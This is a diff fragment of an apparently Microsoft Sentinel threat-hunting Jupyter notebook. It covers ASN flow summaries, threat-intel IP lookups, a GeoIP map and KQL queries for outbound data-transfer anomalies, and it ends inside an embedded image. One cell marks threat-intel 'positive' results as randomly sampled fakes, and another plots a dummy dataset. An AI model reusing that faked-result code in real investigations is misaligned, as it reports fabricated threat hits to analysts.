x.SourceASN[1], axis=1)\n", - " flows_df[\"SourceASN\"] = flows_df.apply(lambda x: x.SourceASN[0], axis=1)\n", - "\n", - " our_host_asns = [get_whois_info(ip.Address)[0] for ip in ip_entity.public_ips]\n", - " md(f\"Host {ip_entity.hostname} ASNs:\", \"bold\")\n", - " md(str(our_host_asns))\n", - "\n", - " flow_sum_df = flows_df.groupby([\"DestASN\", \"SourceASN\"]).agg(\n", - " TotalAllowedFlows=pd.NamedAgg(column=\"TotalAllowedFlows\", aggfunc=\"sum\"),\n", - " L7Protocols=pd.NamedAgg(column=\"L7Protocol\", aggfunc=lambda x: x.unique().tolist()),\n", - " source_ips=pd.NamedAgg(column=\"source\", aggfunc=lambda x: x.unique().tolist()),\n", - " dest_ips=pd.NamedAgg(column=\"dest\", aggfunc=lambda x: x.unique().tolist()),\n", - " ).reset_index()\n", - " flow_sum_df\n", - "except NameError as err:\n", - " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Choose ASNs/IPs to Check for Threat Intel Reports\n", - "Choose from the list of Selected ASNs for the IPs you wish to check on.\n", - "The Source list is been pre-populated with all ASNs found in the network flow summary.\n", - "\n", - "As an example, we've populated the `Selected` list with the ASNs that have the lowest number of flows to and from the host. We also remove the ASN that matches the ASN of the host we are investigating.\n", - "\n", - "Please edit this list, using flow summary data above as a guide and leaving only ASNs that you are suspicious about. Typicially these would be ones with relatively low `TotalAllowedFlows` and possibly with unusual `L7Protocols`." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:08:01.347207Z", - "start_time": "2020-05-15T23:08:01.287206Z" - } - }, - "outputs": [], - "source": [ - "try:\n", - " if isinstance(flow_sum_df, pd.DataFrame) and not flow_sum_df.empty:\n", - " all_asns = list(flow_sum_df[\"DestASN\"].unique()) + list(flow_sum_df[\"SourceASN\"].unique())\n", - " all_asns = set(all_asns) - set([\"private address\"])\n", - "\n", - " # Select the ASNs in the 25th percentile (lowest number of flows)\n", - " quant_25pc = flow_sum_df[\"TotalAllowedFlows\"].quantile(q=[0.25]).iat[0]\n", - " quant_25pc_df = flow_sum_df[flow_sum_df[\"TotalAllowedFlows\"] <= quant_25pc]\n", - " other_asns = list(quant_25pc_df[\"DestASN\"].unique()) + list(quant_25pc_df[\"SourceASN\"].unique())\n", - " other_asns = set(other_asns) - set(our_host_asns)\n", - " md(\"Choose IPs from Selected ASNs to look up for Threat Intel.\", \"bold\")\n", - " sel_asn = nbwidgets.SelectSubset(source_items=all_asns, default_selected=other_asns)\n", - "except NameError as err:\n", - " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:08:14.516746Z", - "start_time": "2020-05-15T23:08:01.935205Z" - } - }, - "outputs": [], - "source": [ - "try:\n", - " if isinstance(flow_sum_df, pd.DataFrame) and not flow_sum_df.empty:\n", - " ti_lookup = TILookup()\n", - " from itertools import chain\n", - " dest_ips = set(chain.from_iterable(flow_sum_df[flow_sum_df[\"DestASN\"].isin(sel_asn.selected_items)][\"dest_ips\"]))\n", - " src_ips = set(chain.from_iterable(flow_sum_df[flow_sum_df[\"SourceASN\"].isin(sel_asn.selected_items)][\"source_ips\"]))\n", - " selected_ips = dest_ips | src_ips\n", - " print(f\"{len(selected_ips)} unique IPs in selected ASNs\")\n", - "\n", - " # Add the IoCType to save cost of inferring each item\n", - " selected_ip_dict = {ip: \"ipv4\" for ip in selected_ips}\n", - " ti_results = ti_lookup.lookup_iocs(data=selected_ip_dict)\n", - "\n", - " print(f\"{len(ti_results)} results received.\")\n", - "\n", - " # ti_results_pos = ti_results[ti_results[\"Severity\"] > 0]\n", - " #####\n", - " # WARNING - faking results for illustration purposes\n", - " #####\n", - " ti_results_pos = ti_results.sample(n=2)\n", - "\n", - " print(f\"{len(ti_results_pos)} positive results found.\")\n", - "\n", - "\n", - " if not ti_results_pos.empty:\n", - " src_pos = flows_df.merge(ti_results_pos, left_on=\"source\", right_on=\"Ioc\")\n", - " dest_pos = flows_df.merge(ti_results_pos, left_on=\"dest\", right_on=\"Ioc\")\n", - " ti_ip_results = pd.concat([src_pos, dest_pos])\n", - " md_warn(\"Positive Threat Intel Results found for the following flows\")\n", - " md(\"Please examine these IP flows using the IP Explorer notebook.\", \"bold, large\")\n", - " display(ti_ip_results)\n", - "except NameError as err:\n", - " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " ### GeoIP Map of External IPs" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:08:16.023912Z", - "start_time": "2020-05-15T23:08:15.611915Z" - } - }, - "outputs": [], - "source": [ - "iplocation = GeoLiteLookup()\n", - "def format_ip_entity(row, ip_col):\n", - " ip_entity = entities.IpAddress(Address=row[ip_col])\n", - " iplocation.lookup_ip(ip_entity=ip_entity)\n", - " ip_entity.AdditionalData[\"protocol\"] = row.L7Protocol\n", - " if \"severity\" in row:\n", - " ip_entity.AdditionalData[\"threat severity\"] = row[\"severity\"]\n", - " if \"Details\" in row:\n", - " ip_entity.AdditionalData[\"threat details\"] = row[\"Details\"]\n", - " return ip_entity\n", - "\n", - "# from msticpy.nbtools.foliummap import FoliumMap\n", - "folium_map = FoliumMap()\n", - "if az_net_comms_df is None or az_net_comms_df.empty:\n", - " print(\"No network flow data available.\")\n", - "else:\n", - " # Get the flow records for all flows not in the TI results\n", - " selected_out = flows_df[flows_df[\"DestASN\"].isin(sel_asn.selected_items)]\n", - " selected_out = selected_out[~selected_out[\"dest\"].isin(ti_ip_results[\"Ioc\"])]\n", - " if selected_out.empty:\n", - " ips_out = []\n", - " else:\n", - " ips_out = list(selected_out.apply(lambda x: format_ip_entity(x, \"dest\"), axis=1))\n", - " \n", - " selected_in = flows_df[flows_df[\"SourceASN\"].isin(sel_asn.selected_items)]\n", - " selected_in = selected_in[~selected_in[\"source\"].isin(ti_ip_results[\"Ioc\"])]\n", - " if selected_in.empty:\n", - " ips_in = []\n", - " else:\n", - " ips_in = list(selected_in.apply(lambda x: format_ip_entity(x, \"source\"), axis=1))\n", - "\n", - " ips_threats = list(ti_ip_results.apply(lambda x: format_ip_entity(x, \"Ioc\"), axis=1))\n", - "\n", - " display(HTML(\"

External IP Addresses communicating with host

\"))\n", - " display(HTML(\"Numbered circles indicate multiple items - click to expand\"))\n", - " display(HTML(\"Location markers:
Blue = outbound, Purple = inbound, Green = Host, Red = Threats\"))\n", - "\n", - " icon_props = {\"color\": \"green\"}\n", - " for ips in ip_entity.public_ips:\n", - " ips.AdditionalData[\"host\"] = ip_entity.hostname\n", - " folium_map.add_ip_cluster(ip_entities=ip_entity.public_ips, **icon_props)\n", - " icon_props = {\"color\": \"blue\"}\n", - " folium_map.add_ip_cluster(ip_entities=ips_out, **icon_props)\n", - " icon_props = {\"color\": \"purple\"}\n", - " folium_map.add_ip_cluster(ip_entities=ips_in, **icon_props)\n", - " icon_props = {\"color\": \"red\"}\n", - " folium_map.add_ip_cluster(ip_entities=ips_threats, **icon_props)\n", - " \n", - " display(folium_map)" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2019-09-05T18:03:37.980223Z", - "start_time": "2019-09-05T18:03:37.804856Z" - } - }, - "source": [ - "[Contents](#toc)\n", - "### Outbound Data transfer Time Series Anomalies" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "This section will look into the network datasources to check outbound data transfer trends. \n", - "You can also use time series analysis using below built-in KQL query example to analyze anamalous data transfer trends.below example shows sample dataset trends comparing with actual vs baseline traffic trends." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:08:42.937737Z", - "start_time": "2020-05-15T23:08:41.794266Z" - } - }, - "outputs": [], - "source": [ - "if \"VMConnection\" in table_index or \"CommonSecurityLog\" in table_index:\n", - " # KQL query for full text search of IP address and display all datatypes\n", - " dataxfer_stats = \"\"\"\n", - " union isfuzzy=true\n", - " (\n", - " CommonSecurityLog \n", - " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", - " | where isnotempty(DestinationIP) and isnotempty(SourceIP)\n", - " | where SourceIP == \\'{ip_address}\\'\n", - " | extend SentBytesinKB = (SentBytes / 1024), ReceivedBytesinKB = (ReceivedBytes / 1024)\n", - " | summarize DailyCount = count(), ListOfDestPorts = make_set(DestinationPort), TotalSentBytesinKB = sum(SentBytesinKB), TotalReceivedBytesinKB = sum(ReceivedBytesinKB) by SourceIP, DestinationIP, DeviceVendor, bin(TimeGenerated,1d)\n", - " | project DeviceVendor, TimeGenerated, SourceIP, DestinationIP, ListOfDestPorts, TotalSentBytesinKB, TotalReceivedBytesinKB \n", - " ),\n", - " (\n", - " VMConnection \n", - " | where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end}) \n", - " | where isnotempty(DestinationIp) and isnotempty(SourceIp)\n", - " | where SourceIp == \\'{ip_address}\\'\n", - " | extend DeviceVendor = \"VMConnection\", SourceIP = SourceIp, DestinationIP = DestinationIp\n", - " | extend SentBytesinKB = (BytesSent / 1024), ReceivedBytesinKB = (BytesReceived / 1024)\n", - " | summarize DailyCount = count(), ListOfDestPorts = make_set(DestinationPort), TotalSentBytesinKB = sum(SentBytesinKB),TotalReceivedBytesinKB = sum(ReceivedBytesinKB) by SourceIP, DestinationIP, DeviceVendor, bin(TimeGenerated,1d)\n", - " | project DeviceVendor, TimeGenerated, SourceIP, DestinationIP, ListOfDestPorts, TotalSentBytesinKB, TotalReceivedBytesinKB \n", - " )\n", - " \"\"\".format(**ipaddr_query_params())\n", - " %kql -query dataxfer_stats\n", - " dataxfer_stats_df = _kql_raw_result_.to_dataframe()\n", - "\n", - "#Display result as transposed matrix of datatypes availabel to query for the query period\n", - "if len(dataxfer_stats_df) > 0:\n", - " md(\n", - " 'Data transfer daily stats for IP ::', styles=[\"bold\",\"green\"]\n", - " )\n", - " #display(dataxfer_stats_df)\n", - "else:\n", - " md_warn(\n", - " f'No Data transfer logs found for the query period'\n", - " )\n", - " #####\n", - " # WARNING - faking results for illustration purposes\n", - " #####\n", - "md(\n", - " 'Visualizing time series data transfer on dummy dataset for demonstration ::', styles=[\"bold\",\"green\"]\n", - " )\n", - "\n", - "#Generating graph based on dummy dataset in custom table representing Flow records outbound data transfer\n", - "timechartquery = \"\"\"\n", - "let TimeSeriesData = PaloAltoBytesSent_CL\n", - "| extend TimeGenerated = todatetime(EventTime_s), TotalBytesSent = todouble(TotalBytesSent_s) \n", - "| summarize TimeGenerated=make_list(TimeGenerated, 10000),TotalBytesSent=make_list(TotalBytesSent, 10000) by deviceVendor_s\n", - "| project TimeGenerated, TotalBytesSent;\n", - "TimeSeriesData\n", - "| extend (baseline,seasonal,trend,residual) = series_decompose(TotalBytesSent)\n", - "| mv-expand TotalBytesSent to typeof(double), TimeGenerated to typeof(datetime), baseline to typeof(long), seasonal to typeof(long), trend to typeof(long), residual to typeof(long)\n", - "| project TimeGenerated, TotalBytesSent, baseline\n", - "| render timechart with (title=\"Palo Alto Outbound Data Transfer Time Series decomposition\")\n", - "\"\"\"\n", - "%kql -query timechartquery" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Conclusion" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### List of Suspicious Activities/ Observables/Hunting bookmarks\n", - "- Suspicious alerts for the IP\n", - "- Anamalous Failed Logon trend on few days at 04:00 AM\n", - "- Anamalous spike in traffic logs on http\n", - "- Positive TI Hit from Open source feeds.\n", - "- Unusual data transfer deviating from normal baseline." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - "## Appendices" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Available DataFrames" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-04-02T10:00:41.436112Z", - "start_time": "2020-04-02T10:00:41.426605Z" - } - }, - "outputs": [], - "source": [ - "print('List of current DataFrames in Notebook')\n", - "print('-' * 50)\n", - "current_vars = list(locals().keys())\n", - "for var_name in current_vars:\n", - " if isinstance(locals()[var_name], pd.DataFrame) and not var_name.startswith('_'):\n", - " print(var_name)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Saving Data to Excel\n", - "To save the contents of a pandas DataFrame to an Excel spreadsheet\n", - "use the following syntax\n", - "```\n", - "writer = pd.ExcelWriter('myWorksheet.xlsx')\n", - "my_data_frame.to_excel(writer,'Sheet1')\n", - "writer.save()\n", - "```" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Configuration\n", - "\n", - "### `msticpyconfig.yaml` configuration File\n", - "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", - "\n", - "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" - ] - } - ], - "metadata": { - "hide_input": false, - "kernelspec": { - "display_name": "Python 3.6", - "language": "python", - "name": "python36" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.6.7" - }, - "latex_envs": { - "LaTeX_envs_menu_present": true, - "autoclose": false, - "autocomplete": true, - "bibliofile": "biblio.bib", - "cite_by": "apalike", - "current_citInitial": 1, - "eqLabelWithNumbers": true, - "eqNumInitial": 1, - "hotkeys": { - "equation": "Ctrl-E", - "itemize": "Ctrl-I" - }, - "labels_anchors": false, - "latex_user_defs": false, - "report_style_numbering": false, - "user_envs_cfg": false - }, - "toc": { - "base_numbering": 1, - "nav_menu": {}, - "number_sections": true, - "sideBar": true, - "skip_h1_title": true, - "title_cell": "Table of Contents", - "title_sidebar": "Contents", - "toc_cell": true, - "toc_position": { - "height": "calc(100% - 180px)", - "left": "10px", - "top": "150px", - "width": "299px" - }, - "toc_section_display": true, - "toc_window_display": true - }, - "varInspector": { - "cols": { - "lenName": 16, - "lenType": 16, - "lenVar": 40 - }, - "kernels_config": { - "python": { - "delete_cmd_postfix": "", - "delete_cmd_prefix": "del ", - "library": "var_list.py", - "varRefreshCmd": "print(var_dic_list())" - }, - "r": { - "delete_cmd_postfix": ") ", - "delete_cmd_prefix": "rm(", - "library": "var_list.r", - "varRefreshCmd": "cat(var_dic_list()) " - } - }, - "position": { - "height": "400px", - "left": "1549px", - "right": "20px", - "top": "120px", - "width": "351px" - }, - "types_to_exclude": [ - "module", - "function", - "builtin_function_or_method", - "instance", - "_Feature" - ], - "window_display": false - }, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "state": {}, - "version_major": 2, - "version_minor": 0 - } - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Title: IP Explorer\n", + "
\n", + "  Details...\n", + " \n", + "**Notebook Version:** 1.0
\n", + "**Python Version:** Python 3.7 (including Python 3.6 - AzureML)
\n", + "**Required Packages**: kqlmagic, msticpy, pandas, numpy, matplotlib, networkx, ipywidgets, ipython, scikit_learn, dnspython, ipwhois, folium, holoviews
\n", + "**Platforms Supported**:\n", + "- Azure Notebooks Free Compute\n", + "- Azure Notebooks DSVM\n", + "- OS Independent\n", + "\n", + "**Data Sources Required**:\n", + "- Log Analytics \n", + " - Heartbeat\n", + " - SecurityAlert\n", + " - SecurityEvent\n", + " - AzureNetworkAnalytics_CL\n", + " \n", + "- (Optional) \n", + " - VirusTotal (with API key)\n", + " - Alienvault OTX (with API key) \n", + " - IBM Xforce (with API key) \n", + " - CommonSecurityLog\n", + "
\n", + "\n", + "\n", + "Brings together a series of queries and visualizations to help you assess the security state of an IP address. It works with both internal addresses and public addresses. \n", + "
For internal addresses it focuses on traffic patterns and behavior of the host using that IP address. For public IPs it lets you perform threat intelligence lookups, passive dns, whois and other checks. \n", + "
It also allows you to examine any network traffic between the external IP address and your resources." + ] + }, + { + "cell_type": "markdown", + "metadata": { + "toc": true + }, + "source": [ + "

Table of Contents

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Contents](#toc)\n", + "## Hunting Hypothesis\n", + "Our broad initial hunting hypothesis is that a we have received IP address entity which is suspected to be compromized internal host or external public address to whom internal hosts are communicating in malicious manner, we will need to hunt from a range of different positions to validate or disprove this hypothesis.\n", + "\n", + "Before you start hunting please run the cells in Setup at the bottom of this Notebook." + ] + }, + { + "attachments": { + "ipexplorer-mindmapv2.PNG": { + "image/png": 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xfOGiOdXHz7m4DvpkZMBPnvfLEeTmr3i0DrdcuuT+vvdVfhZPGCehnFKuhHmaQab2iILlvO5au340PJqvSzc8U4edvnftgnrb9bteqsOA37lq/uj+Pz9y7ITPmuGcLu0w3XjvDsqInAnGfmvuDUetjxLGS9gnbVGWJzCUNklAqywrYa6E3rLv0ibN8F3kWDlmwlj5PFqP1jl/7sLL67BjOeeUyzbN6x/ZJtsmpJvPuZ65rs3wZGm/9IP0h7K8qYxi2A4o9vP+pZxDu24lbJh2KbMeZaCBhKCa9Us/yB+y5zhfvezquq+VwFXpK5FREdNHy4i37Xul3zYvAc/cEyUAFyVoVt5b93vvxHihv7xTzfHbgytkm7RZ+lHa6PFtL44532yX883XnGNz/82gaCkf7Xugq1zXsnZbjl7Tkfb4K5dfM1qu9PNS1wsW3V3Xa9aSX743TtulDUuYPMsSNk3Qt3ldvnv1/HoEyXJdYrx2TNi5PCva605l47VJ7qf0xQR0y33UfKaVvt58Nndd/3Kft5/tZQTUXL98zkyDmXGw+RyPhMZzX+cezed+93e8yr1eno/lc/sZVAL2aYNyr/fz/O73e9GxfM/KvZVrVYLzpWw/33tTv5xbZpEr2+br+yMDH6nP5VieVwCDQqAUAGAI5IfrvKTIi6j8gNz8a09OrvJCZ7wXwZGXc7etfrJ+CdX863+YDvrtx9PNJ29cXU97/+uXfbC/xAcAAGB6+NXfv6T6i5dcV33qmsXVp6+/e1ynXbekcx9NJdiVwE9bwiVluumESRLqKoGT5j4yUmgJlZVgWH6GbgZomvrd13g/iydI1Awy5d1fAmQJIOVzwjRdYbBmkPH02fPqEGo7WFfCQs1wTpd2mK5XfTNFcAJRCUBltL20UXN90RW86qVdx151TtAngZ9Sp1LHZlCoSJmyfYKWKVeCo0XeuSYsVsqVwNf9Tz87GiDrRwJpzbYr+nn/UgKb7bpF9pvrm+ucdk5gq6uf5fyuuO/B6rMXXD5meVP7epR7pYQg+23zEmprTw0eZTTH9NN+7p0i+065tFdzea5pQn7tUSOjuU2C1+n7CWJnXTl2CWUmdNncf6++2b4Husp1LWu35XjX9Jxb7qiDpL3um2i3RwkSZwTHBOTb5Yte7RgleFcCxRP5/K0PVX/5tkemtS8s/GWIsJeuNkkbZmTXjESc+ynPziwvz9Pcd/lcrmsJekbX9c++c4wcqyyL8kwu/aJ5fzTLldF0Sz/vd3/Hq32v97r3I0HkErpsLm9qb9/v96Jj+Z7Vvjcj2/TzvbcEgyPT9TfLFcfyvAIYFAKlAABDIH8Nmr9IzYvkvMAY78URJ1avFzptCZNmipS8cG3+ZS9MB/324+nmL8z6WR0o/c2b13SuBwAAYHr7+OU3V7+z8WB1/uE/rub+0Z9W1/xJdUx+6+HNnfstSgAoAcNMWRuPPL/1qCm7S2AlwaAuzeBKwj8JrGR5wi8Z+TFTUJcATL/7Gu9n8Yy+mJEhmyPlNUeFyzZd+y4Sbirn3g4bdYVzurQDO6W+XcfLiG1rt+8cM0JlW1fwqkj7Pf3Sy3XArbnfUsdedS7LSxv2OudImbJ9Kdc8VlMpl5Ht7n7q6fqdXgJ8me490z0nRNvef1NX2Cn6ef8y3jmUdQlH9WqTLgmlLVz9RH3sXKvmuZbr0T5ur/2X5eUcxruuWVYCsPk80b1TZN+pa9qruTwB0YT+EqhsLo/mNuVcSvCv3E9lhN/2/nudQ/s6dpXrWtZuy/bn8STglsBryme/RbO+6X8JzuVa5p5JsDjHb478G73aMbrq3cuHf++i6qr/0//a+Qw+Xhe8+190Lv+g/vxPx5+KPG3SbNemjFpZ/sggEkpMfy0jbea+Sz9qjo7b1Y5p77R7jlWWNZeXfjDe9cm6Eozsd39tpW5Fr2O17/Ve935kn817OiZ6fvfq/+3j9Fsuy1ImZcu92SzXrENTs/yFd9xTh3lzD+X3bHk2NEcPjn6fVwCDQqAUAACAofBr519dB0pPu+2ZzvUAAABMT39x1g3VTw7+/dEQ0Ky/+d9XZ+38G9U3V22vvnL32uqzN93fOSpp07GMUNoMqJTpeJvhlBJESbAkgcESPi3aoz0muHXOrXfUAZMETRJKyWhm2U+/++oVEooEADPNdfaZcqlvCcNFtkmw6eaVq4/af2SEymMJ53RpB3ZKffPH0s1jZWS/TEnc3r6tK3gVGSExx8lofD/52eL6OJnueMvefaN17FXnsry0Ya9zjpQp25dyzaBxU3vEyPSZTO2cQGmCpWn7nHdz/01dYacY75oX451DpjjPAAPHEihNX00/yj4TsMyU2anHDctXjbke7eP22n9ZXs6h13WNhLbb4bPx7p1SJvvuCr8lYJ17IdejuTya25T7p4Swc97NIGB7/73OoX0du8p1LWu35XjXtCkjmSYwm+m9MzV/6heZrrvdHgm1ZdCCRWvW1aNZJvScQOSZN9w6WqZXO0ZXvcfziSturT4x55Zp7ZNzJx5JMm3SfnbmmfztkbbvGrQjo4imnyZcmGdU+lVzdNyudkx7p91zrLKsubz0g17XJ9c2z6YPGijN94Hmcy3TtDfrXrTv9fbnZtmcZ/Oe7uf53av/t4/Tb7ksS5mULfdms1y/38fTFrnPSp/IPZTr3Xz29/O8AhgUAqUAAAAMhT931oV1oPSzd73YuR4AAIDp57Tr766u/MN/XTtj3b7qYxd3Tzk7GXoFVBIwa45SmgBJmT68K6xWJFyS9c0wSUJI9SiWP3+vDuz0u69eIaEidcz6jMaYkdTKdPeR0EszINelTB+c0Q6by7vCOV3agZ2J6juRXgG2Mv14wk9lWbuOvepclpc6pb0TqmtPmRwpU7YvU5Bn5NfxRpv79IzL6pmimkGz7149vz7Gpt17qo+fc/GY8kVzeuXm8n7asN8p70vorEzj3iyXoFTaIv010zVniur2PdC+Hu17pd8273fK+37unbI8+047pb3KshIS7XXN2tvkvtk/Uq/Z9yyrg6UJgZWgWLtsr77Zvge6ynUta7dluRfTHqVMkT6WQHbOadGatZ39plnflEv5sk0pc97CO+ttm/d7VzsWxzrl/alivDbpkvZJP7p3/cb6viyj3hZd1z/7zjFyrGbZsrz0i+b90SzX75T37f0dr/a93v7cLNue8r6f53e/34uO5XtW+96Mfr/3ljbN1+aytG85t2N5XgEMCoFSAAAAhsKHfnB+HSj93D07O9cDAAAwvXzyqturq//431YX//V/Vn1s5rWdZSZTO9hVJCiS0ElzGvmMQJkRyhIYaga1EnJJWCvLEvxJAKgdaiuhuhIq6mdfvUJCRTnWS2+8MSZIExlBMyNlJnTYDDvmXC65a2m9LOGahOgSfsxIhqVMOff2PtvagZ2J6juRruBVZH8JEaVtyrLUN/UudYx2oCjK8lKncs67Dx2qR8kr5T534eXV1n37R7dPeGj9rpfq9i3BqCKj0ZX2Svu2g7sltNSuS1MCnwl+ts+1nzbsdd1ybRNibYal0s/SDzLKXimXvrV0wzN1m2aK+HIPJAjWLHPX2vVjrkf7Xum3zVOv3EcZubbcS5GRUDNSYBnRsd97J7LvtFPaqyxLoHrP4bHB6qb2NqWfpx2y/2YbtcuWkV+bz4nUMXVt3gNdfbhrWbstS39rB91Kvyxh15RPPVKfUiZtmrYt9c2+EjRs76uEEJt9q6sdixyrK8x4qhuvTbqU/p37LO3VDvF3Xf/sO8doXovm8tIv0pcTVs292Lwn5t7/cH28El7td3/Hq32vl8/tZ1Dpr83vm6nTRM/vfr8X9Vsuy3LOzXuz6Od7b3k+t8PBCeyXfR7L8wpgUAiUAgAAMBQESgEAAAbHR34yu7r87/yr2q/9/qzOMpOtHexqSpgkI41lJMN8TkAmgb0S1MwUubetfrIelS5TnSdMk8DLqs1b68BKRlFLmQUrV9cBmBLg63dfvUJCRQmOJazUrn9GT3t0y7bR6XfnPbCiDtJsP3Cgrkumb065BNMSiMyy1DNlXhwpk/o3wzld2oGdieo7ka7gVaT9cx6Z5jv1e2DjprrOKVvqGPl3u85lebNO/Z5zKZdrkmuTa5RrlbBQwpcJ5Z51Y0b3/OW+UibXPfu6b/3G0WO2lVFGmyHOKG2YgGD21Vam2m8fN0GnMt1+wmZlf6Wf5Tpl6vPsI/VLWGrxyPVLEKoE4nJeOb+0R/aVNm9ej/a9cixtPufeB+u6JWyWupa+mHMo4ch+751I22Z/d4+0X2mTLGsG2dpSn7Rt2rgsyzY5x/Yoru2ypY1KO+Ycnv3F/du8B7r6cAkFJmRcptTueu6U/pZ+nv1H2qvZRmVfqVv6ZPpP/p1jNuvbbu/c/xteerlu2/I8i652zPJ8nSgUfarq6icTKf2oPd19dF3/cp8375Eoy0u/6LonMhJq+k7u69LX+93f8Wrf6+Vzzjn3ce7n0l/Tn5rPoH6e3yl3rM/licq1vz8V5ZmYevb63pt95P7OMzGjxKZMRgfOccsz5lieVwCDQqAUAACAoSBQCgAAMDh+e/2B6po/qarP3rysc/2J0BXsKsqoZwnJJGSSZZ84d2a1rBGIydcEZD51/i8DsAlzJoyaUEnKJLiS4OcZ824aLdPPvnqFhJp6TZ0e7XokHJPgy9dmXzOm3E9vX1KfZ6lDAnNrt+8cE87p0g7s9FPf8fQKlCb0mEBcRp/M+pxPQkoJyubfGVku9Ux923Uuy9t16vecc81y7XINE4rKiJpXL1s+ZtTXZplSv7R72r+UaUsYKfVvH6+0YfbTpVm+XbcEuy68454xo+VF+tPyTZvr6599pH7XPvjImHP48qy51bodu+pwVPa3dsfOOvyW0TBL6LV9r5S2bZ9DWd5u84z+t2XvvvoYkdDs968bO/plv/dOrnm2z3lnfQK6uZ7ZtlmuKfVJ26aNy7JyTgkETlQ2dajr/4t6pY3a919XH8455T7PNq++9Vb1g/k/O6oti7RHfV7jtFFX30392yOXjmnvkbLpuwn6NftHux0/fs7F9fJMT57zb7fLMOi69hNJu6f9u/pf1/Xv9awsy5v9ous5nvu5+T3nWPZ3PNr3evmcvpN7oNQtz+g8q5t9rJ/ndynb73O5n3Lt709N/Xwfb5cp3z/zrCxl+n1eAQwKgVIAAACGgkApAADAYPjwjy+u5v7Rn1bnHvh7nevhREqQLqPWtYNLJ9LMO++rw0ozblvSuZ7+Zbr63YcODd307CfK9Q+vrEdsbIdZ6ZaAZNd096eqEig9mc9LAE48gVIAAACGgkApAADAYPjiolX16KSfvuGezvUwWTKa4C2rHh8zil6CYAl3ZgrkZtkTKaPbPbplWz21slAW08UXZ15ZTyG++MmnjhrtlqPlPs7ovl3T3Z+qBEoBTk0CpQAAAAwFgVIAAIDB8Dsb36jm/aP/rfrQ7/5yGm44EW5YvqqevjhTLmcq5gUrV1e73nijDpSedePCzm1OlK/PubaeujlTiyeY1lUGTpZM8/3EizvqabtPm3FpZxnel/Do5fc8UD9H8jyZc++DneVORQKlAKcmgVIAAACGgkApAADAYPjpO/+kmnHkTzrXwWTKqIszbl9Sbdm7rzr43rvVgXffqQN0Z8y7qbP8iXb67HnVY1tfqL50ydzO9XCyJFC9ass2YdI+ZCTXnQcPVvvfPlItfOyJ6sM/GJ4/hhAoBTg1CZQCAAAwFARKAQAABsPlf/d/qn64/T/oXAcAAMCJI1AKAADAUBAoBQAAGAxz//7/p/r+prc61wEAAHDiCJQCAAAwFARKAQAABsM1f1JVZ6zb17kOAACAE0egFAAAgKEgUAoAADAY5v2j/636rkApAADASSdQCgAAwFAQKAUAABgMAqUAAABTQ6AUAACAoSBQCgAAMBgESgEAAKaGQCkAAABDQaAUAABgMAiUAgAATA2BUgAAAIaCQCkAAMBgECgFAACYGgKlAAAADAWBUgAAgMEgUAoAADA1BEoBAAAYCgKlAAAAg0GgFAAAYGoIlAIAADAUBEoBAAAGg0ApAADA1BAoBQAAYCgIlAIAAAwGgVIAAICpIVAKAADAUBAoBQAAGAwCpQAAAFNDoBQAAIChIFAKAAAwGARKAQAApoZAKQAAAENBoBQAAGAwCJQCAABMDYFSAAAAhoJAKQAAwGAQKAUAAJgaAqUAAAAMBYFSAACAwSBQCgAAMDUESgEAABgKAqUAAACDQaAUAABgagiUAgAAMBQESgEAAAaDQCkAAMDUECgFAABgKAiUAgAADAaBUgAAgKkhUAoAAMBQECgFAAAYDAKlAAAAU0OgFAAAgKEgUAoAADAYBEoBAACmhkApAAAAQ0GgFAAAYDAIlAIAAEwNgVIAAACGgkApAADAYBAoBQAAmBoCpQAAAAwFgVIAAIDBIFAKAAAwNQRKAQCG2OX3PFC98fP36q9d66ebM+bdVG3Zt69auPqJzvWTbbLb52NnX1it2ry1WrdjV/UbP7mkswzH5yuzrqpefvON6vEXtneuP1anwrXS344mUAoAADAYBEoBAACmhkApAMA0lWBcwoxNB0ckNLfwsSeqj/5oRud2x2LQAqXfv25Btfvwoerup57uXD/ZTkSgdMNLL1fPv7q3Om3GpZ1lhtWSdRuqfW8fqX7v5tvHLP/MT2dX2/bvrza+/Erdfs111z20snr9vXerixffe0ICpZN1re588qkx93EcHKn39gMHqquXLa8+/IPzOrf7oPS3o